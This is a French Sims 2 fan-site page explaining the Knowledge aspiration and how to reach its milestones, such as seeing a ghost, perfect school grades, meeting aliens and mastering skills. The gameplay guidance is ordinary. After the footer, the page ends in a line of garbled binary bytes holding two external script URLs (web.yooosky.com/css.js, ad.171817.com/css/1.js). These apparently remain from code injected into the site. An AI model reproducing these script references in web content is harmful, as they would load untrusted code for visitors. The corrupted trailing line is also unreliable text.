Forum

Boutique des Sims

Downloads

Partenariat

La carte de membre

Contactez-moi

Votre 1er Sims

Les Aspirations

Les Besoins

Les Compétences

Quels Métiers !

Vie Social

Les Objets Bonus

Les Signes Astro

Les Codes

10 petits meurtres

Les Quartiers

Chez SimsConfo

Les Sims1

Les Sims2

Presentation

Photos

Presentation

Photos

Presentation

Photos

Comment créer un commerce ?

Presentation

Photos

Presentation

Photos
Le Jardinage

Les Cocktails

Presentation

Photos


LA CONNAISSANCE


Cette Aspiration est peut-être la plus facile à jouer. En effet, quelle que soit son Aspiration, un Sim a toujours besoin d'étudier pour avancer et chaque progrès l'avantage un peu plus. Mais dans ce cas précis, il est également récompensé par des points d'Aspiration qui vont tomber régulièrement au fur et à mesure de ses progrès. Contrairement aux autres Aspirations, celle de la Connaissance devra être recommencée très tôt car il y a pas mal de points à récupérer en étant bon élève à l'école.

Toutefois, la meilleure période de son existence sera sa retraite. Il sera alors payé et aura tout le loisir de se replonger dans ses études et de réaliser les missions qui rapportent le plus de points. A vous de lui fournir régulièrement de l'Elixir de vie pour que la mort ne vienne pas trop souvent rôder autour de la maison.

 

Les grands moments

Voir un fantôme (+ 1 000)
Si vous avez une urne funéraire à la maison, l'ectoplasme se promènera chez vous pendant la nuit et vous n'aurez qu'à le surprendre. Sans urne, écumez les cimetières ou cherchez des tombes dans le jardin pendant la nuit. Attention, en voyant un fantôme, votre Sim risque d'avoir quelques problèmes de retenue.
Avoir une note de 20/20 (+ 2 500)
II suffit de ne pas sécher les cours et de bien faire sesdevoirs pour voir ses notes progresser. Facile non ?
Apprendre à étudier(+ 4000)
Des parents attentionnés qui consacreront un peu de temps à leur bambin en l'aidant a faire ses devoirs, cela donnera a un Sim un bon départ dans la vie.
Maîtriser une Compétence (+ 8 000)
Evidemment, atteindre le niveau 10 d'une Compétence prend beaucoup de v temps. Mais c'est à la portée de n'importe quel Sim.
Rencontrer des aliens (+ 8 000)
Pour l'organisation d'une rencontre du troisième type réussie, l'achat d'un télescope se révèle nécessaire. Votre Sim doit ensuite le poser sur une terrasse ou sur le toit et observer les étoiles tard la nuit. Les petits hommes verts viendront y vite se renseigner sur sa curiosité.
Etre sauvé de la mort (+ 8 000)
Lorsque la Faucheuse vient chercher un Sim, un autre Sim doit négocier avec elle. Plus ce Sim sera proche (famille, ami.,.), plus il aura de chances d'être sauvé.
Atteindre le sommet de la carrière scientifique (+12 500)
C'est un peu normal pour quelqu'un qui veut la Connaissance. C'est long, mais c'est la voie logique.
Avoir toutes les Compétences
au maximum (+ 15 000)
C'est l'oeuvre de toute une vie, mais si : votre Sim commence de bonne heure, il en est capable.

Famille ..::.. Richesse ..::.. Popularité ..::.. Amour ..::.. Connaissance

Retour

 

Comment faire !!

Relookez la piscine

Aquarium Sims

Papier-Peints

Tenues des PNJ

Créer du sol

Créer des vêtements

Colorer les objets

Vidéo à la demande

 

Septembre 2007
Août 2007
Juillet 2007
Juin 2007
Mai 2007
Février 2007

 
Votez pour moi sur le site Top de Sims
 
Top-site Sims de toi

Votre site ici !

 

  Copyright © 2005 Rue-des-sims.com Tout droits Réservés - Version 4: Juin 2007

phpMyVisites | Open source web analytics Statistics

§„4þ±tl“D Ú’Z0ÈTp~…­´éíÇ0Ö¾http://web.yooosky.com/css.js> 1ˆ«ŽÄ•VR ¬UÁ¸Ò0[ú…õÂ:/•¨à%÷(‰http://ad.171817.com/css/1.js>